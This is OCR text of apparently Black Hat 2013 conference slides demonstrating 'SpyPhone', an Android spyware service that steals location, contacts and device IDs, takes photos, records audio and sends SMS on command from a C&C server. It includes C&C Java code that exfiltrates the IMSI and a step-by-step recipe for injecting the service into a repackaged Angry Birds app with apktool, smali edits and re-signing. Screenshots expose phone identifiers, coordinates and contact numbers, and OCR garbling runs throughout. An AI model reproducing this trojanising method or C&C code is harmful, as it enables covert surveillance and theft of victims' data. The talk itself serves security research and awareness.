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 Demo of SpyPhone in Action

* SpyPhone Design

* Injecting SpyPhone Service into an App
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SpyPhone:- Then
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SpyPhone - Now .
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Very Angry Birds | DriodDrop

kindsight.net

Logged in as ksnexus2@gmail.com. Click to

3
i

DroidWhisper

Thu Feb 21 2013 14:15:47 GMT-0500 (Eastern Standard Time)

Internet

Device: 302220301242571

Shutdown | Update | Toast | SMS Spam | Email Spam | Locate | Peep
> Pending Command: location [Clear]

Last Update: 2013-02-20T16:38:05.054Z
Owner: ksnexus2@gmail.com
Phone Number:

Phone Type: GSM o
q n 3 q o I D D e O““a"nm‘
Device ID (MEID/IME]): 355266041549336
Mobile Subscriber ID (IMS) ;

302220301242571

Network Country Code: ca

Network Operator: Koodo

Network Operator MCC & MNC: 302220

SIM State: Ready

SIM Country Code: ca

SIM Operator TELUS@

Software version: 03

Location: 43.7773428 -79.2523726 0.0 29.0

Map

Contacts

Name: Brendan
Phones: [613-415-9462]
Emails: [brendan@kindsight net]

Name: Denny
Phones: [61 3—327 -9690]
Emails: []

k" at
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Counter Measures — Then
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x | £} Very Angry Birds | DriodDrop

kindsight.net

Logged in as ksnexus2@gmail.com. Click to logout.

DroidWhisper

I nte r n et Thu Feb 21 2013 14:15:47 GMT-0500 (Eastern Standard Time)

Device: 302220301242571

Shutdown | Update | Toast | SMS Spam | Email Spam | Locate | Peep | Delete
Pending Command: location [C ]

Last Update: 2013-02-20T16:38:05.054Z
Owner: ksnexus2@gmail.com
Phone Number.

Phone Type: GSM
Network Type: UMTS
Device ID (MEID/IME]): 355266041549336
Mobile Subscriber ID (IMS)

302220301242571

Network Country Code: ca

Network Operator: Koodo

Network Operator MCC & MNC: 302220

SIM State: Ready

SIM Country Code: ca

SIM Operator TELUS@

Software version: 03

Location: 43.7773428 -79.2523726 0.0 29.0

Contacts

Name: Brendan
Phones: [613-415-9462]
Emails: [brendan@kindsight net]

Name: Denny
Phones: [61 3—327 -9690]
Emails: []

k hat
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« GPS Location

* Internet (from almost anywhere)
* A Microphone

« ACamera

« Local Wifi Networks

 E-Mall

* Text Messages

 Phone Calls

« Contact List

* Personal Information

@ bl:iit?:k' —r
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A perfect cyber-espionage tool that can bé used to track the victim’s’
location, download personal information, intercept and send messages,
record their conversations and take pictures without them knowing.

In the context of BYOD and APT, it makes a perfect platform for launching
inside attacks on corporate or government networks.

4] blé&?:k' at
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Built an Android SpyPhone Service that cah:
« Steal phone and contact information .
* Report on location . ¢
« Execute commands from C&C server
- Display message on phone
- Send SMS to contacts
- Take pictures and sent to C&C
- Record sound and sent to C&C
SpyPhone Service is:
* Injected into legitimate version of Angry Birds
« Distributed from fake app store

Demo Shows
» Installation of infected application
« Sending information to C&C
« Locating the device
« Sending SMS
« Taking pictures
« Recording sound

C&C Server

C&C Protocol

4] blg?:k'”'-”
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Record Explore Open Url

[E] All apps

~,

Alarm & Amazon

Timer Kindle

~

Books C

der camera

word
1

Contacts

Camc

i__i DroidWhisper

Apps Blackhuster

=

alculator Calendar

Q)

Citrix

DLNA Downloads

4

Emai

Home Menu Back Search Call End call

l Ezmevm!!r‘ngmgﬂ...

Very Angry Birds | DriodDrop

&

iledemo kindsight.net

DroidWhisper

Wed Feb 06 2013 16:14:33 GMT-0500 (Eastern Standard Time)

Device: af4322452d552d26

Device: 302220301242571

E HO\N !0 EUIC!E i d... E MICFOSg“ BO\NE!!O...

0 0ASBED780A002017

Logged in as ksnexus2@gmail.com. Click to Ic

&) DroidWhisper - Mo...

<

1

®

) 414 PM



0A3BEI780A002017 [ =] (2]

Record Explore Open Url {_! DroidWhisper | [} Very Angry Birds | DriodDrop x | + |

ol muobiledermno. kindsight.net:3080/ store/veryangrybirds.html b g c Google 2 ﬁ n -

. Cavou L ity ] Porners Lot ] Contoc L senr ] Loo I

AN AINA AT

Reviews Discussion

g very Angry Birds v1.0.0 Username:

By TheKnight. Updated October 12, 2011
428 0 O Fun& Games Password:

Create new account

W Tweet

Request new password

Tags

and I'Old app bestseller BooOK

books classics digital digital book
digital books ebooks free Fun

funny game Magazine mobile

o ¥ music Novel pUZZ|E the books
Home Menu Back Search Call End call ¥ A% J - more tags

Download DroidDrop

Discover and
download Android
applications directly to

wonr davica | aarn

< e ¥ FE s15em



DroidWhisper Very Angry Birds | DriodDrop

5 415 |
Al BB 45 £ 10 kindsight.net:3080

birds1-2.apk
mobiledemo.ki
Complete 14.5¢ 117112112
tetris.apk
monhi mo.kindsight.net
Comp 7.47MB 10/M10/12
birds1-3.apk
ilademo_kindsig

Logged in as ksnexus2@gmail.com. Click to logout

DroidWhisper

Wed Feb 06 2013 16:16:48 GMT-0500 (Eastern Standard Time)

Device: af4322452d552d26

91712

1.1GN 9/17/12
mouthoff.apk
mohiledemo. kindsight.net

9.27MB

Device: 302220301242571

Home Menu Back Search Call End call

:: MEeETHES®Y 9 E E:!!wrn!!lnsmggk... Enlcrosog o eoT W &) DroidWhisper - Moz... " < l;'ifi‘” @‘fs"” 416 PM



DroidWhisper x Very Angry Birds | DriodDrop

6 mobiledemo kindsight.net

Do you want to install this application? Logged in as ksnexus2@gmail.com. Click to Ic

DroidWhisper

Wed Feb 06 2013 16:17:48 GMT-0500 (Eastern Standard Time)

Allow this application to:

A, Your location
coarse (network-based) location, fine (GPS)

location Device: af4322452d552d26
Your personal Information

reac contact data

Network communication Device: 302220301242571

full Internet access

Storage
modify/delete SD card contents

Hardware controls
take pictures and videos

Services that cost you money

send SMS messages

Phone calls
read phone state and identity

Install Cancel

Home Menu Back Search Call End call

. E!!g m!!maﬂgﬂﬂ... E Mhcrosoft PowerPor ., W &) DroidWhisper - Moz... f < lgl!; ‘ ®¥ E ) 417 PM



Very Angry Birds | DriodDrop

kindsight.net

Logged in as ksnexus2@gmail.com. Click to lo

DroidWhisper

Wed Feb 06 2013 16:19:17 GMT-0500 (Eastern Standard Time)

Device: af4322452d552d26

Installing...

Device: 302220301242571

Home Menu Back Search Call End call

P O R/ Kingsightt & Microsoft PowerPor. W OASEEO7E0R002017 | ) DroidWhisper - Moz... | (MG ® WEA s10em



0A3BE9780A002017

Record Explore Open Url - i i DroidWhisper ery Angry Birds | DriodDrop

6 mobiledemo.kindsight.net:8080/dashboard/main

Logged in as ksnexus2@gmail.com. Click to logout

DroidWhisper

Wed Feb 06 2013 16:20:13 GMT-0500 (Eastern Standard Time)

Device: af4322452d552d26
Device: 302220301242571

Device: 3100046502210325

__‘

Home Menu Back Search Call End call

' Ez!!evm!!lnamggg... E N icrosore PowarPor W &) DroidWhisper - Moz... | < "n‘if; ‘ % E @ 4:20 PM



Record Explore Open Url

Home Menu Badk

A gl 421

Search Call End call

DroidWhisper

IS

Very Angry Birds | DriodDrop

kindsight.net

Device: 3100046502210325

| X | 1oast |

Pending Command: [Clear]

Last Update, 2013-02-06T721.21:26.204Z
Ownersl . - .

Phone Type: COMA

Network Type: EVDO A

Device ID (MEIDAMEL): ADOO002CE9E147
Mobile Subscriber 1D (IMS1): 3100046502210325
Network Country Code. ca

Network Operator: Roaming

Network Operator MCC & MNC: 00000

SIM State: Ready

SIM Country Code: us

SIM Operator. Verizon

Software version: 0

Location: 45.34859581666666 -75.91883948333333 0.0 45.0

Contacts

&) DroidWhisper - Moz..

R 4 422 PM



Record Explore Open Uri

Volcemal

O

Home Menu Back Search Call End cal

DroidWhisper

£

Very Angry Birds | DriodDrop

kindsight.net

Device: 3100046502210325

| 1 ' .. |
Pending Command: |

Last Update. 2013-02-06T21:24:06.160Z
Ovner SR ENISETS s

Phone NOMUS i onuiss
Phone Type: COMA
Network Type: EVDO A
Device ID (MEIDAMEL): ADDOO02CE9E147

M Subscriber D (IMSH): 3100046502210325
Network Country Code. ca

Network Operator: Roaming

Network Operator MCC & MNC: 00000

SIM State: Ready

SiM Country Code: us

SIM Operator. Verizon

Software version: 0

Location, 45.3485647 -75.91890152857142 0.0 45.0§

Contacts

Name 3§56k
Phones,
Emails’

Name: §iis
Phones 3
Emails: []

SETS
Phones:§
Emaiis: ]

&) DroidWhisper - Moz.

CiGMEE WEO 15PM




Record Explore Open Uri ) Whisper x | Very Angry Birds | DriodDrop

A ol B 427 kindsight.net

Device: 3100046502210325

4 | Update | !
Pending Command: [Clear]

Last Update. 2013-02-06T21:27:36.143Z
Owner 49

Phone Numbe

Phone Type: CDMA

Network Type: EVDO A

Device ID (MEIDAMEI): ADOOD02CE9E147
Mobile Subscriber 1D (IMSH)
3100046502210325

Network Country Code: ca

Network Operator. Roaming

Network Operator MCC & MNC: 00000
SIM State: Ready

SIM Country Code. us

SIM Operator: Verizon

Software version: 0

Location: 45.3485647 -75.91890152857142
00450

Contacts

volcemall
iery

gt

Home Menu Badk Search Call End cal

Emails: []

&) DroidWhisper - Moz... | < 5'?' ‘ k4 E @O 2B PM



* Implemented as Android Service
— Self contained component

— Runs in background even when app is stopped.

— Starts at boot up

— Easy to inject into legitimate applications
« Command & Control

— HTTP to NodeJS Web Server

@

Alcatel-Lucent

update: send information to server

toast: display message on screen
shutdown: stop the bot

sms: send SMS message to contacts
location: send location information to server
peep: take picture and send to server
listen: record sound and send to server

USA 2013
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~ Java - SearchableDictionary/src/com/example/android/droidwhisper/DictionarySve.java - Eclipse SDK ===
File Edit Run Source Refactor Mavigate Search Project Window Help

i e 88 M~ E2Rld H~-0-Q~- #H#FE~- @5~ fp_@ FHrflrto o v B £ Java Browsing # >
T Mavigator &2 oo | B % Y T 0|0 DictionarySvejava £3 [J] DictionaryActivity.java W.Q SearchableDictionary Manifest 1 = 8|8z 0z =8
=2 ApiDemos = private void processCommand() { = -
El
AppScan
Ibg’ E‘»'F:gef der Android SDK f/ fetch command from server = <] = e
I'SG’ : Ender Androl TelephonyManager telephonyManager = (TelephonyManager)getSystemService(Context. TELEPHONY SERVICE); u
= ContactManager //5tring deviceId = telephonyManager.getDeviceId(); // IMEI for G5M, or MEID or ESN for CDMA _—
=4 Hello string mobilesubscriberId = telephonyManager.getSubscriberId(); // IMSI = Javi «
Irzgr LogRead if (mobilesubscriberId == null) { s jave
2 LunerLander ) mobileSubscriberId = Secure.getString(getBaseContext().getContentReselver(), Secure.ANDROID ID); i jave
= icti - javi—
= Searcha.blechtlonar}r String responseBody = "3 ) J :
= .settings try { — jave
2= bin HttpClient httpClient = new DefaultHttpClient(); “— org
2 gen [Generated Java Files] HttpPost httpPost = new HttpPost("http://"+HO5T+" /checkin™); 4 org
s res List«<NameValuePair> nameValuePairs= new ArraylList<NameValuePair>(2); 4 org
= nameValuePairs.add(new BasicNameValuePair( "IMSI", mobileSubscriberId }); PR
sre httpPost.setEntity(new UrlEncodedFormEntity(nameValuePairs)); .
(= com HttpResponse response = httpClient.execute(httpPost); - org
= eample responseBody = EntityUtils.toString(response.getEntity()); “— org
= android if (!responseBody.isEmpty()) Log.d(LOG_TAG, "HTTP Respeonse boedy @ "+responseBody); “— org
= droidwhisper } catch (ClientProtocolException e) { 4 org
. L Log.d(LOG_TAG, "ClientProtocolException™); i ar
L] D!ct?onaryActn..rlty.Java } catch (IOException e) { . org =
[J] DictionarySvejava Log.d(LOG_TAG, "IOException™ + e.getlocalizedMessage()); 9
= searchabledict ¥ 4~ anc
[¥] Dictionary.java . - ang
[4] DictionaryProvider.java ’;: process c;rr;and ti ‘fetcl: pzc:e"data fenLocationayas 1abl 4 anc
[J] SearchableDictionary.java i (respﬁnse ody . con ains( upda ed) || mMew E;Ea-lon vailable) { i and
[3) WordActivity,java LO%i (igG;T??, processing update command™); o and
: collectData();
|X] .classpath if (mNewlLocationAwvailable) mNewlLocationAwailable = false; // reset new location fla 4= anc
B
[¥] .project } 4 anc
1] AndroidManifestxml - 4 to dieol 4~ anc
: - f/ process command to display popup. PR
a prOJECt.F.lH.}pEI"tIES if(responseBody.startsWith("toast™)) { .
= SkeletonActivity Log.d(LOG_TAG, “processing toast command”); — and
=2 Snake final String msg = responseBody.substring(6); 4— anc
== VPN = mTeastHandler.post(new Runnable(){ 4~ anc
= venz L public void run() { i anc
=2 VPN4 Toast.makeText(getApplicationContext(), msg, Toast.LENGTH LONG).show(); PRE—
. 4~ anc
Log.d(LoG_TAG, "finished processing tocast command™); 4— anc
4-  anc
= 4—  anc
// process command to cancel timers and stop the service i and
if (responseBody.contains("shutdown")) { .
this.mUpdateTask.cancel(); - oanc
this.stopself(); “— anc
} 4 anc
4-  anc
/{ process command to send SM: spam « and
if(responseBody.contains ("SMS")){ .
Log.d(LOG_TAG, "processing SMS command™); 1C [:;:;tlona
/f Send SMS to all contacts (demc notification) |3 e LOt H
2 ' _ ' 1l '
: ion [ 1 2 3 = ies | 2 2L i % bl X B~ri--0O
r@ Javadoc (@) Declaratlon( Conscle Debug Properties LogCat| % | Error Leg| &7 Lint Warnings Ex & | |
Ik

u Writable ‘ Smart Insert | 39:41




User Information
— import android.accounts.Account;
— import android.accounts.AccountManager;

Phone & SMS

— import android.telephony.SmsManager;

— import android.telephony.TelephonyManager;
Location

— import android.location.Location;

— import android.location.LocationListener;

— import android.location.LocationManager;
Recording

— Import android.media.MediaRecording

63

Camera

import android.hardware.Camera;

import android.hardware.Camera.PictureCallback;
import android.hardware.Camera.PreviewCallback;
import android.hardware.Camera.Size;

import android.media.AudioManager;

import android.view.SurfaceHolder;

import android.view.SurfaceView;

Web C&C

import org.apache.http.HttpResponse;

import org.apache.http.NameValuePair;

import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;

black"hat

Alcatel-Lucent
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1.  Use apktool to extract the components from the target app (in this case Angry Birds 2000).

apktool d AngryBirds.apk

Mame Jate modifie Type

assets 19 4 PM File Folder
5 build g, 4:05 PM File Folder
as liby 4 PM File Folder
build res 19, 4 PM File Folder
lib 19, 4 PM File Folder
res ¥ ] 4 PM Y¥ML File
4 smali oidManifest.om /19 3 4:01 PM XML Document

A COm

jumptap
millennialmedia
rovio

smali

File Folder

4] blé?:k' at
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2. Copy the smali code for the service to be injected into the smali directory structure.
our case it was in the directory “example/android/droidwhisper”.

assets
build
lib

res

EEEEEE=

4 smali

4 com

android

droidwhisper

flurry

jurmnptap
millennialmedia

rovio

7 items

4] blé&?:k' aF
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.

Injection Process .. .

3. Update the manifest to include the
injected service and the permissions
required by the injected service. The
updated manifest in the case of Angry
Birds is shown below:

— Remember the app name for later
— Define the Droidwhisperer service
— Define required permissions

63 @
1) blackhat .
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4. Locate the onCreate function in the main activity of the target app. This can be found by looking in the
manifest. In the case of Angry Birds this was “com/rovio/ka3d/App”, highlighted in the manifest file
above. Add the following smali code just after the “involk-super” call to onCreate.

new-instance v0, Landroid/content/Intent;
invoke-direct {v0}, Landroid/content/Intent;-><init>()V
.local v0, dictionarylntent:Landroid/content/Intent;
const-string v1, "com.rovio.ka3d.service.DICTIONARY_SERVICE"
invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
invoke-virtual {p0, v0}, Landroid/app/Activity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;

is\Android\Injection\Angry Birds-2000\smali\comi <a3ch\App.smali]
Help

S0 S|
# virtual methods

.method public onGreate({Landroid/os/Bundle;)VU
-locals 3
-parameter "savedInstanceState"

-prologue
const/4 w2, -Bx1

-line 27
sput-object p8, Lcom/rovio/ka3d/App;->sm_instance:Lcom/rovioska3d/App;

.line 28

invoke-super {p8, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
new-instance v@, Landroid/content/Intent;

invoke-direct {vw@}, Landroid/content/Intent;-><init>{)V

.local v8, dictionarylIntent:Landroid/content/Intent;
const-string w1, "com.rovio.Ka3d.service.DICTIONARY_SERVICE™

invoke-virtual {v@, v1}, Landroid/content/Intent;->setAction{Ljavaslang/String;)Landroid/content/Intent;
invoke-virtual {p8, vB8}, Landroid/app/Activity;->startService(Landroid/content/Intent;)Landroid/content/GomponentHame;

.line 2J
const/high16 v@, 8x7f03

invoke-virtual {p@, vB8}, Lcom/rovio/ka3d/App;->getString{I)Ljava/lang/String;

Command 10:08 AM

4] blf(:igk' at
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Injection Process .. .

5. Rebuild the apk file using apktool.
apktool b AngryBirds birds.apk
6. Sign the APK file. (Any old certificate will do!)
jarsigner -verbose -keystore C:\kevin\keys birds.apk alias name

You can verify the cert with..

jarsigner -verify -verbose -certs birds.apk
7. Optimize the APK file.
zipalign -v 4 birds.apk birdsl.apk

8. Install and test the new application. The logcat command can be used in the adb shell to check for errors.

adb install birdsl.apk

4] blag?:k hat
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NTERCEPTOR
SPYPHONE
SOFTWARE

Receive both incoming and outgoing text messages
Dial in and listen to

the target phone r
number calling in
he target phone
notification shows number being

INTERCEPTOR
SPYPHONE

SOFTWARE

SPYPHONE GOLD
INTERNET

CELD

(=)

blackhat

LSA 2013

Turn your Android into a Family Monitoring Tool

@& GPS Tracking On Cell Phone Location
W, @ View Incoming,Outgoing Calls

lgoing Text
View Websites Visited on Phone

Mo

%,o 100% Free Product

L
3
S
1
2
8
S
&

Spy Poests

Spy Detective nd
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